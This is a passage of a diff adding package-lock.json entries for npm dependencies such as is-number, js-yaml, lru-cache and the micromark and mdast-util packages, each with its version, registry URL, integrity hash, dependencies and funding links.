"integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "dev": true, + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/iterator.prototype": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz", + "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "get-proto": "^1.0.0", + "has-symbols": "^1.1.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/language-subtag-registry": { + "version": "0.3.23", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz", + "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==", + "dev": true + }, + "node_modules/language-tags": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz", + "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==", + "dev": true, + "dependencies": { + "language-subtag-registry": "^0.3.20" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/longest-streak": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", + "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dev": true, + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.2.tgz", + "integrity": "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark": "^4.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-expression": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz", + "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdx-jsx": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz", + "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "parse-entities": "^4.0.0", + "stringify-entities": "^4.0.0", + "unist-util-stringify-position": "^4.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-mdxjs-esm": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz", + "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==", + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", + "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", + "dependencies": { + "@types/mdast": "^4.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.0.tgz", + "integrity": "sha512-QGYKEuUsYT9ykKBCMOEDLsU5JRObWQusAolFMeko/tYPufNkRffBAQjIE+99jbA87xv6FgmjLtwjh9wBWajwAA==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^4.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "unist-util-visit": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": 